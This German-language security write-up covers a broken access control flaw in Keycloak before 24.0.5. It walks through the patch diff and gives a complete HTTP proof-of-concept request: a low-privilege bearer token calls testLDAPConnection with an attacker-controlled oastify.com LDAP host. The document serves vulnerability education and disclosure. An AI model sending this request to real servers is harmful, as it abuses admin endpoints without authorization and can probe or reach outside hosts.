
Die Keycloak admin API ermöglicht es Benutzern mit niedrigen Berechtigungen, administrative Funktionen zu nutzen.
Keycloak < 24.0.5 ist anfällig für eine Broken Access Control Schwachstelle, bei der der Angreifer einen beliebigen authentifizierten Benutzer nutzen kann, um einige API-Aktionen durchzuführen, wie zum Beispiel:
Testen von LDAP-Verbindungen über den testLDAPConnection-Endpunkt. Abrufen von nicht verwalteten Attributen eines beliebigen Benutzers über den getUnmanagedAttributes-Endpunkt. Zugriff auf Client-Registrierungsrichtlinien-Anbieter über den getProviders-Endpunkt.
Ich fand nur testLDAPConnection interessant, bei dem ein Angreifer mit LDAP auf einen externen Host interagieren kann.
Laden Sie zuerst die anfällige Version von KeyCloak 24.0.4 von hier herunter: https://www.keycloak.org/archive/downloads-24.0.4.html
Entpacken Sie dann die Zip-Datei und führen Sie den Befehl bin/kc.sh start-dev aus

Jetzt läuft es auf localhost:8080. Erstellen Sie ein neues Administratorkonto und melden Sie sich dann mit diesem Administratorkonto an.
Erstellen Sie nun einen neuen Realm für reguläre Benutzer und erstellen Sie dann einen Benutzer mit Benutzerrechten in diesem Realm

Basierend auf dem Commit, der die Schwachstelle behebt, "Missing auth checks in some admin endpoints" https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1
stellen wir fest, dass 3 Dateien geändert wurden:
TestLdapConnectionResource.java UserResource.java ClientRegistrationPolicyResource.java
Analyse der Codeänderung in TestLdapConnectionResource.java:
(Verwundbarer Code):
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
try {
LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
return Response.noContent().build();
}
// Exception handling...
}
Es gab keine Berechtigungsprüfung. Jeder authentifizierte Benutzer konnte testLDAPConnection aufrufen und LDAP-Tests durchführen, was eine administrative Aktion ist.
(Gepatchter Code):
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
auth.realm().requireManageRealm(); // Added permission check
try {
LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
return Response.noContent().build();
}
// Exception handling...
}

Die Zeile auth.realm().requireManageRealm(); wurde hinzugefügt, um zu prüfen, ob der Benutzer Admin-Berechtigungen (manage_realm-Rolle) im Realm hat.
Das bedeutet, dass jeder Benutzer mit einem beliebigen Realm eine Anfrage an /admin/realms/users/testLDAPConnection senden kann.
Öffnen Sie nun in einem neuen Browser den Link http://localhost:8080/realms/users/protocol/openid-connect/auth?client_id=account-console
Melden Sie sich mit dem von Ihnen erstellten Benutzer an und extrahieren Sie dann authorization: Bearer <>
Senden Sie eine HTTP-Anfrage an den verwundbaren Endpunkt:
POST /admin/realms/users/testLDAPConnection HTTP/1.1
Host: dzdz.me:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
authorization: Bearer <xxxx>
content-type: application/json
Content-Length: 265
Origin: http://dzdz.me:8080
Connection: close
{
"action": "testConnection",
"connectionUrl": "ldap://xxxxxxxxxxxxxxxxxxxxxxx.oastify.com",
"bindDn": "cn=admin,dc=example,dc=com",
"bindCredential": "password",
"useTruststoreSpi": "ldapsOnly",
"connectionTimeout": "5000"
}
Im Parameter connectionUrl setzen Sie Ihren externen Host ein und senden Sie die Anfrage.
dann erhalten Sie die DNS-Interaktion

Sie können dasselbe mit getUnmanagedAttributes und getProviders anwenden.
Referenz: https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1 https://github.com/advisories/GHSA-2cww-fgmg-4jqc